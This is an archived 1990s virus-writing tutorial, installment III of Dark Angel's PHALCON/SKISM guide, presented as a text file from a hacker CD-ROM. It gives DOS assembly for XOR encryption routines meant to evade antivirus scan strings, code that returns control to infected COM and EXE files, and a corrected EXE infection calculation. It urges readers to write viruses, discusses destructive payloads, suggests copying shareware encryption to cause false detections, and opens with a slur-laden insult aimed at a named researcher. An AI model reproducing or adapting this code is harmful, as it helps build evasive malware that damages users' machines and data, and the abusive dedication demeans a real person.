home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / ps_vir3.txt < prev    next >
Text File  |  1995-01-03  |  20KB  |  445 lines

  1.       //==//  //  //  /||      //      //====  //==//  //|   //
  2.      //  //  //  //  //||     //      //      //  //  //||  //
  3.     //==//  //==//  //=||    //      //      //  //  // || //
  4.    //      //  //  //  ||   //      //      //  //  //  ||//
  5.   //      //  //  //   ||  //====  //====  //==//  //   ||/
  6.   
  7.      /====   // //     //  /====   /|   /|
  8.     //      // //     //  //      //|  //|
  9.     ===\   // //     //   ===\   //|| //||
  10.       //  //  \\    //      //  // ||// ||
  11.   ====/  //    \\  //   ====/  //  ||/  ||
  12.   
  13.   ───────────────────────────────────────────────
  14.   DISCLAIMER: I hereby claim to have written this
  15.     file.
  16.   ───────────────────────────────────────────────
  17.   DEDICATION: This is dedicated to Patty Hoffman,
  18.     that fat bitch who doesn't know her own name,
  19.     and to the millions of dumb fools who were so
  20.     scared by Michelangelo that they didn't touch
  21.     their computers for an entire day.
  22.   ───────────────────────────────────────────────
  23.   GREETS: to all PHALCON/SKISM members especially
  24.     Garbageheap, Hellraiser, and Demogorgon.
  25.   ───────────────────────────────────────────────
  26.   
  27.   Dark Angel's Crunchy Virus Writing Guide
  28.   ──── ─────── ─────── ───── ─────── ─────
  29.        "It's the right thing to do"
  30.   
  31.   ────────────────────────────────────────────
  32.   INSTALLMENT III:  NONRESIDENT VIRII, PART II
  33.   ────────────────────────────────────────────
  34.   
  35.   Welcome to  the third  installment of  my Virus  Writing  Guide.    In  the
  36.   previous installment,  I covered  the primary  part  of  the  virus  -  the
  37.   replicator.   As promised,  I shall  now cover  the rest of the nonresident
  38.   virus and  present code  which, when  combined with  code from the previous
  39.   installment, will  be sufficient  to allow  anyone to write a simple virus.
  40.   Additionally, I  will present  a few  easy tricks  and tips  which can help
  41.   optimise your code.
  42.   
  43.   ─────────────
  44.   THE CONCEALER
  45.   ─────────────
  46.   The concealer  is the  most common  defense  virus  writers  use  to  avoid
  47.   detection of  virii.   The most common encryption/decryption routine by far
  48.   is the XOR, since it may be used for both encryption and decryption.
  49.   
  50.   encrypt_val   dw   ?   ; Should be somewhere in decrypted area
  51.   
  52.   decrypt:
  53.   encrypt:
  54.        mov dx, word ptr [bp+encrypt_val]
  55.        mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
  56.        lea si, [bp+part_to_encrypt_start]
  57.        mov di, si
  58.   
  59.   xor_loop:
  60.        lodsw
  61.        xor ax, dx
  62.        stosw
  63.        loop xor_loop
  64.   
  65.   The previous  routine uses  a simple XOR routine to encrypt or decrypt code
  66.   in memory.   This  is essentially  the same routine as the one in the first
  67.   installment, except  it encrypts words rather than bytes.  It therefore has
  68.   65,535 mutations  as opposed  to 255 and is also twice as fast.  While this
  69.   routine is  simple to  understand, it  leaves much  to be  desired as it is
  70.   large and therefore is almost begging to be a scan string.  A better method
  71.   follows:
  72.   
  73.   encrypt_val   dw    ?
  74.   
  75.   decrypt:
  76.   encrypt:
  77.        mov dx, word ptr [bp+encrypt_val]
  78.        lea bx, [bp+part_to_encrypt_start]
  79.        mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
  80.   
  81.   xor_loop:
  82.        xor word ptr [bx], dx
  83.        add bx, 2
  84.        loop xor_loop
  85.   
  86.   Although this  code is  much shorter,  it is possible to further reduce its
  87.   size.   The best  method is  to insert the values for the encryption value,
  88.   BX, and CX, in at infection-time.
  89.   
  90.   decrypt:
  91.   encrypt:
  92.        mov bx, 0FFFFh
  93.        mov cx, 0FFFFh
  94.   
  95.   xor_loop:
  96.        xor word ptr [bx], 0FFFFh
  97.        add bx, 2
  98.        loop xor_loop
  99.   
  100.   All the  values denoted  by 0FFFFh  may be changed upon infection to values
  101.   appropriate for  the infected  file.  For example, BX should be loaded with
  102.   the offset  of part_to_encrypt_start  relative to the start of the infected
  103.   file when the encryption routine is written to the infected file.
  104.   
  105.   The primary  advantage of  the code  used above is the minimisation of scan
  106.   code length.   The scan code can only consist of those portions of the code
  107.   which remain  constant.   In this  case,  there  are  only  three  or  four
  108.   consecutive bytes  which remain  constant.   Since  the  entire  encryption
  109.   consist of only about a dozen bytes, the size of the scan code is extremely
  110.   tiny.
  111.   
  112.   Although the  function of  the encryption  routine is  clear,  perhaps  the
  113.   initial encryption  value and  calculation of  subsequent values  is not as
  114.   lucid.  The initial value for most XOR encryptions should be 0.  You should
  115.   change the  encryption value  during  the  infection  process.    A  random
  116.   encryption value  is desired.   The  simplest method  of obtaining a random
  117.   number is  to consult  to internal  clock.   A random  number may be easily
  118.   obtained with a simple:
  119.   
  120.           mov     ah, 2Ch                         ; Get me a random number.
  121.           int     21h
  122.           mov     word ptr [bp+encrypt_val], dx   ; Can also use CX
  123.   
  124.   Some encryption  functions do not facilitate an initial value of 0.  For an
  125.   example, take  a look  at Whale.  It uses the value of the previous word as
  126.   an encryption  value.   In these  cases, simply  use a JMP to skip past the
  127.   decryption routine  when coding  the virus.   However, make sure infections
  128.   JMP to  the right location!  For example, this is how you would code such a
  129.   virus:
  130.   
  131.           org     100h
  132.   
  133.   start:
  134.           jmp     past_encryption
  135.   
  136.   ; Insert your encryption routine here
  137.   
  138.   past_encryption:
  139.   
  140.   The encryption  routine is  the ONLY  part of  the virus  which needs to be
  141.   unencrypted.   Through code-moving  techniques, it  is possible to copy the
  142.   infection mechanism  to the  heap (memory location past the end of the file
  143.   and before  the stack).   All  that is required is a few MOVSW instructions
  144.   and one  JMP.   First the  encryption routine  must  be  copied,  then  the
  145.   writing, then  the decryption,  then the  RETurn back  to the program.  For
  146.   example:
  147.   
  148.        lea si, [bp+encryption_routine]
  149.        lea di, [bp+heap]
  150.        mov cx, encryption_routine_size
  151.        push si
  152.        push cx
  153.        rep movsb
  154.   
  155.        lea si, [bp+writing_routine]
  156.        mov cx, writing_routine_size
  157.        rep movsb
  158.   
  159.        pop cx
  160.        pop si
  161.        rep movsb
  162.   
  163.        mov al, 0C3h                             ; Tack on a near return
  164.        stosb
  165.   
  166.        call [bp+heap]
  167.   
  168.   Although most  virii, for  simplicity's sake, use the same routine for both
  169.   encryption  and  decryption,  the  above  code  shows  this  is  completely
  170.   unnecessary.   The only  modification of  the above code for inclusion of a
  171.   separate decryption  routine is to take out the PUSHes and replace the POPs
  172.   with the appropriate LEA si and MOV cx.
  173.   
  174.   Original encryption  routines, while  interesting, might  not be  the best.
  175.   Stolen encryption  routines are  the best,  especially  those  stolen  from
  176.   encrypted shareware  programs!   Sydex is notorious for using encryption in
  177.   their shareware  programs.   Take a  look at  a  shareware  program's  puny
  178.   encryption and  feel free  to copy  it into your own.  Hopefully, the anti-
  179.   viral developers  will create  a scan string which will detect infection by
  180.   your virus in shareware products simply because the encryption is the same.
  181.   
  182.   Note that  this is  not a  full treatment  of concealment routines.  A full
  183.   text file could be written on encryption/decryption techniques alone.  This
  184.   is only  the simplest  of all  possible encryption techniques and there are
  185.   far more  concealment techniques  available.  However, for the beginner, it
  186.   should suffice.
  187.   
  188.   ──────────────
  189.   THE DISPATCHER
  190.   ──────────────
  191.   The dispatcher  is the  portion of the virus which restores control back to
  192.   the infected  program.    The  dispatchers  for  EXE  and  COM  files  are,
  193.   naturally, different.
  194.   
  195.   In COM  files, you  must restore  the bytes  which were overwritten by your
  196.   virus and  then transfer  control back  to CS:100h,  which is where all COM
  197.   files are initially loaded.
  198.   
  199.   RestoreCOM:
  200.        mov di, 100h                     ; We are copying to the beginning
  201.        lea si, [bp+savebuffer]          ; We are copying from our buffer
  202.        push di                          ; Save offset for return (100h)
  203.        movsw                            ; Mo efficient than mov cx, 3, movsb
  204.        movsb                            ; Alter to meet your needs
  205.        retn                             ; A JMP will also work
  206.   
  207.   EXE files  require simply  the restoration of the stack segment/pointer and
  208.   the code segment/instruction pointer.
  209.   
  210.   ExeReturn:
  211.           mov     ax, es                           ; Start at PSP segment
  212.           add     ax, 10h                          ; Skip the PSP
  213.           add     word ptr cs:[bp+ExeWhereToJump+2], ax
  214.           cli
  215.           add     ax, word ptr cs:[bp+StackSave+2] ; Restore the stack
  216.           mov     ss, ax
  217.           mov     sp, word ptr cs:[bp+StackSave]
  218.           sti
  219.           db      0eah                             ; JMP FAR PTR SEG:OFF
  220.   ExeWhereToJump:
  221.           dd      0
  222.   StackSave:
  223.           dd      0
  224.   
  225.   ExeWhereToJump2 dd 0
  226.   StackSave2      dd 0
  227.   
  228.   Upon  infection,   the  initial   CS:IP  and  SS:SP  should  be  stored  in
  229.   ExeWhereToJump2 and StackSave2, respectively.  They should then be moved to
  230.   ExeWhereToJump and  StackSave before  restoration of  the  program.    This
  231.   restoration may be easily accomplished with a series of MOVSW instructions.
  232.   
  233.   Some like  to clear all the registers prior to the JMP/RET, i.e. they issue
  234.   a bunch  of XOR  instructions.   If you  feel happy  and wish to waste code
  235.   space, you are welcome to do this, but it is unnecessary in most instances.
  236.   
  237.   ────────
  238.   THE BOMB
  239.   ────────
  240.   
  241.     "The horror!  The horror!"
  242.        - Joseph Conrad, The Heart of Darkness
  243.   
  244.   What goes through the mind of a lowly computer user when a virus activates?
  245.   What terrors  does the unsuspecting victim undergo as the computer suddenly
  246.   plays a  Nazi tune?  How awful it must be to lose thousands of man-hours of
  247.   work in an instant!
  248.   
  249.   Actually, I  do not  support wanton destruction of data and disks by virii.
  250.   It serves  no purpose  and usually  shows little imagination.  For example,
  251.   the world-famous Michelangelo virus did nothing more than overwrite sectors
  252.   of the  drive with  data taken at random from memory.  How original.  Yawn.
  253.   Of course,  if you  are hell-bent  on destruction, go ahead and destroy all
  254.   you want,  but just  remember that this portion of the virus is usually the
  255.   only part  seen by  "end-users" and distinguishes it from others.  The best
  256.   examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt.
  257.   Don't forget the PHALCON/SKISM line, especially those by me (I had to throw
  258.   in a plug for the group)!
  259.   
  260.   As you  can see,  there's no  code to  speak of in this section.  Since all
  261.   bombs should be original, there isn't much point of putting in the code for
  262.   one, now  is there!   Of course, some virii don't contain any bomb to speak
  263.   of.   Generally speaking,  only those  under about  500 bytes  lack  bombs.
  264.   There is no advantage of not having a bomb other than size considerations.
  265.   
  266.   ─────────
  267.   MEA CULPA
  268.   ─────────
  269.   I regret  to inform  you that  the  EXE  infector  presented  in  the  last
  270.   installment was  not quite  perfect.   I admit  it.   I made  a mistake  of
  271.   colossal proportions   The  calculation of  the file size and file size mod
  272.   512 was screwed up.  Here is the corrected version:
  273.   
  274.   ; On entry, DX:AX hold the NEW file size
  275.   
  276.           push    ax                          ; Save low word of filesize
  277.           mov     cl, 9                       ; 2^9 = 512
  278.           shr     ax, cl                      ; / 512
  279.           ror     dx, cl                      ; / 512 (sort of)
  280.           stc                                 ; Check EXE header description
  281.                                               ; for explanation of addition
  282.           adc     dx, ax                      ; of 1 to the DIV 512 portion
  283.           pop     ax                          ; Restore low word of filesize
  284.           and     ah, 1                       ; MOD 512
  285.   
  286.   This results  in the file size / 512 + 1 in DX and the file size modulo 512
  287.   in AX.   The  rest remains  the same.  Test your EXE infection routine with
  288.   Microsoft's LINK.EXE,  since it  won't run  unless  the  EXE  infection  is
  289.   perfect.
  290.   
  291.   I have  saved you  the trouble  and smacked myself upside the head for this
  292.   dumb error.
  293.   
  294.   ───────────────
  295.   TIPS AND TRICKS
  296.   ───────────────
  297.   So now  all the  parts of  the nonresident  virus have been covered.  Yet I
  298.   find myself  left with several more K to fill.  So, I shall present several
  299.   simple techniques anyone can incorporate into virii to improve efficiency.
  300.   
  301.   1.   Use the heap
  302.        The heap  is the memory area between the end of code and the bottom of
  303.        the stack.   It can be conveniently treated as a data area by a virus.
  304.        By moving  variables to the heap, the virus need not keep variables in
  305.        its code,  thereby reducing  its length.  Note that since the contents
  306.        heap are  not part  of the  virus, only  temporary variables should be
  307.        kept there,  i.e. the  infection routine  should not count the heap as
  308.        part of  the virus as that would defeat the entire purpose of its use.
  309.        There are two ways of using the heap:
  310.        
  311.        ; First method
  312.        
  313.        EndOfVirus:
  314.        Variable1 equ $
  315.        Variable2 equ Variable1 + LengthOfVariable1
  316.        Variable3 equ Variable2 + LengthOfVariable2
  317.        Variable4 equ Variable3 + LengthOfVariable3
  318.        
  319.        ; Example of first method
  320.        
  321.        EndOfVirus:
  322.        StartingDirectory = $
  323.        TemporaryDTA      = StartingDirectory + 64
  324.        FileSize          = TemporaryDTA + 42
  325.        Flag              = FileSize + 4
  326.        
  327.        ; Second method
  328.        
  329.        EndOfVirus:
  330.        Variable1 db LengthOfVariable1 dup (?)
  331.        Variable2 db LengthOfVariable2 dup (?)
  332.        Variable3 db LengthOfVariable3 dup (?)
  333.        Variable4 db LengthOfVariable4 dup (?)
  334.        
  335.        ; Example of second method
  336.        EndOfVirus:
  337.        StartingDirectory db 64 dup (?)
  338.        TemporaryDTA      db 42 dup (?)
  339.        FileSize          dd ?
  340.        Flag              db ?
  341.        
  342.        The two  methods differ  slightly.   By using  the first  method,  you
  343.        create a  file which  will be  the exact  length of  the  virus  (plus
  344.        startup  code).     However,  when  referencing  the  variables,  size
  345.        specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always
  346.        be used  or the  assembler will  become befuddled.   Secondly,  if the
  347.        variables need  to be  rearranged for some reason, the entire chain of
  348.        EQUates will  be destroyed  and must  be rebuilt.   Virii  coded  with
  349.        second method  do not need size specifications, but the resulting file
  350.        will be  larger than  the actual size of the virus.  While this is not
  351.        normally a  problem, depending on the reinfection check, the virus may
  352.        infect the  original file  when run.   This  is not  a big disability,
  353.        especially considering the advantages of this method.
  354.        
  355.        In any  case, the  use of  the heap  can greatly  lessen the effective
  356.        length of the virus code and thereby make it much more efficient.  The
  357.        only thing  to watch  out for  is infecting  large COM files where the
  358.        heap will  "wrap around"  to offset  0 of the same segment, corrupting
  359.        the PSP.   However,  this problem is easily avoided.  When considering
  360.        whether a  COM file is too large to infect for this reason, simply add
  361.        the temporary variable area size to the virus size for the purposes of
  362.        the check.
  363.   
  364.   2.   Use procedures
  365.        Procedures are  helpful in  reducing the  size of  the virus, which is
  366.        always a  desired goal.   Only  use procedures if they save space.  To
  367.        determine the amount of bytes saved by the use of a procedure, use the
  368.        following formula:
  369.        
  370.        Let PS = the procedure size, in bytes
  371.        bytes saved = (PS - 4) * number invocations - PS
  372.        
  373.        For example, the close file procedure,
  374.        
  375.        close_file:
  376.          mov ah, 3eh      ; 2 bytes
  377.          int 21h          ; 2 bytes
  378.          ret              ; 1 byte
  379.                           ; PS = 2+2+1 = 5
  380.        
  381.        is only  viable if  it is used 6 or more times, as (5-4)*6 - 5 = 1.  A
  382.        whopping savings of one (1) byte!  Since no virus closes a file in six
  383.        different places,  the close  file procedure  is clearly  useless  and
  384.        should be avoided.
  385.        
  386.        Whenever  possible,  design  the  procedures  to  be  as  flexible  as
  387.        possible.   This is the chief reason why Bulgarian coding is so tight.
  388.        Just take  a look  at the source for Creeping Death.  For example, the
  389.        move file pointer procedure:
  390.        
  391.        go_eof:
  392.          mov al, 2
  393.        move_fp:
  394.          xor dx, dx
  395.        go_somewhere:
  396.          xor cx, cx
  397.          mov ah, 42h
  398.          int 21h
  399.          ret
  400.        
  401.        The function  was build  with flexibility  in mind.   With  a CALL  to
  402.        go_eof, the  procedure will  move the  file pointer  to the end of the
  403.        file.   A CALL  to move_fp  with AL set to 0, the file pointer will be
  404.        reset.   A CALL  to go_somewhere  with DX and AL set, the file pointer
  405.        may be  moved anywhere  within the  file.   If the  function  is  used
  406.        heavily, the savings could be enormous.
  407.   
  408.   3.   Use a good assembler and debugger
  409.        The best  assembler I have encountered to date is Turbo Assembler.  It
  410.        generates tight  code extremely  quickly.    Use  the  /m2  option  to
  411.        eliminate all  placeholder NOPs  from the  code.   The advantages  are
  412.        obvious - faster development and smaller code.
  413.        
  414.        The best  debugger is  also made  by Borland,  the king of development
  415.        tools.   Turbo Debugger  has so many features that you might just want
  416.        to buy  it so  you can  read the  manual!  It can bypass many debugger
  417.        traps with ease and is ideal for testing.  Additionally, this debugger
  418.        has 286  and 386  specific protected  mode versions, each of which are
  419.        even more powerful than their real mode counterparts.
  420.   
  421.   4.   Don't use MOV instead of LEA
  422.        When writing your first virus, you may often forget to use LEA instead
  423.        of MOV  when loading  offsets.  This is a serious mistake and is often
  424.        made by  beginning virus  coders.   The  harmful  effects  of  such  a
  425.        grevious error  are immediately obvious.  If the virus is not working,
  426.        check for  this bug.   It's  almost as hard to catch as a NULL pointer
  427.        error in C.
  428.   
  429.   5.   Read the latest issues of 40Hex
  430.        40Hex, PHALCON/SKISM's  official journal of virus techniques and news,
  431.        is a publication not to be missed by any self-respecting virus writer.
  432.        Each issue  contains techniques  and source code, designed to help all
  433.        virus writers,  be they  beginners or  experts.  Virus-related news is
  434.        also published.  Get it, read it, love it, eat it!
  435.   
  436.   ──────
  437.   SO NOW
  438.   ──────
  439.   you have  all the  code and information sufficient to write a viable virus,
  440.   as well  as a  wealth of  techniques to  use.   So stop  reading and  start
  441.   writing!   The only  way to  get better  is through practise.  After two or
  442.   three tries, you should be well on your way to writing good virii.
  443.  
  444. Downloaded From P-80 International Information Systems 304-744-2253
  445.